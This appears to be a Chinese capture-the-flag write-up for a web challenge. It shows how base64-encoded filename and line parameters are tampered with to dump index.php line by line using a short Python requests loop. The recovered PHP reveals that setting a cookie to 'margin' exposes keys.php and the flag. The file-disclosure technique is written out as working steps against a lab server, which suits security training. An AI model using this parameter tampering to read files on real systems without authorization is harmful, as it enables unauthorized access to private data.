打开页面一长串的字母··············无用
源码······································无用
观察url
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
参数filename的值是a2V5cy50eHQ=是base64编码,解密后得到keys.txt
还有参数line~猜着是文件的行码
给参数赋值无果
试着把index.php的base64编码赋值给filename参数,并对line进行赋值
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
发现有返回的语句
然后写个脚本
import requests
i=0
while i<=30:
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw="
result=requests.get(url)
i=i+1
print(result.text)
获得源码~
<?php
error_reporting(0); // 关闭错误报告
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
isset: 检测变量是否设置,并且不是 NULL。
$_GET:收集来自 method=“get” 的表单中的值
intval(): 用于获取变量的整数值。
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //默认url
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //cookie值
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
keys.php的加密为:a2V5cy5waHA=
修改url参数和cookie
得到flag